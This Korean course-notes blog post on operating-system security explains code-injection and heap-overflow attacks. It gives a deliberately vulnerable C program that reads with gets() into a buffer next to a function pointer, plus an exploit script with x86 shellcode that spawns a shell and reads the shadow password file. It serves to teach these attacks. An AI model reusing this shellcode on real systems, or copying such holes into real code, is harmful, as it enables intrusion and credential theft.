학부/운영체제보안
Heap Overflow with code injection
라구넹
2024. 12. 5. 15:11
Code-injection Attacks
- 컨트롤 하이재킹 어택의 서브클래스 .. 삽입된 악성 코드에 의해 의도된 컨트롤 플로우를 파괴
쉘코드
- 오버플로우되어 버퍼에 저장되는 경우가 많음
- 컨트롤을 쉘로 옮겨버림
- 기계어코드로 프로세서와 OS에 종속적
Heap Overflow
// Vulnerable heap overflow C code
typedef struct chunk
{
char inp[64];
void (*process)(char *)
} chunk_t;
void showlen(char *buf)
{
int len;
len = strlen(buf);
printf("buffer read %d chars\n", len);
}
int main(int argc, char *argv[])
{
chunk_t *next;
setbuf(stdin, NULL);
next = (chunk_t *)malloc(sizeof(chunk_t));
next->process = showlen;
printf("Enter value: ");
gets(next->inp);
next->process(next->inp);
printf("buffer done\n");
}
chunk에서 inp가 먼저 선언되어 있음 -> 힙이니까 inp가 더 아래로 가고 함수 포인터가 그 위임
=> 오버플로우로 덮어쓰기 가능
// Example heap overflow attack
$ cat attack
#!/bin/sh
# implment heap overflow against program buffer
perl -e 'print pack("H*",
"90909090909090909090909090909090" .
"9090eb1a5e31c08846078d1e895e0889" .
"460cb00b89f38d4e088d560ccd80e8e1" .
"ffffff2f62696e2f7368202020202020" .
"b89704080a");
print "whoami\n";
print "cat /etc/shaadow\n";'
$ attack | buffer
Enter value:
root <- 이 부분이 whoami ..
root:$1$??????$????????:13345:0:99999:7:::
.....
타겟 어드레스: 0x080497b8
inp 64바이트짜리니까 64바이트만큼 채우고
그 다음에 리틀 엔디안으로 b89704080 작성 (x86 아키텍처 기준)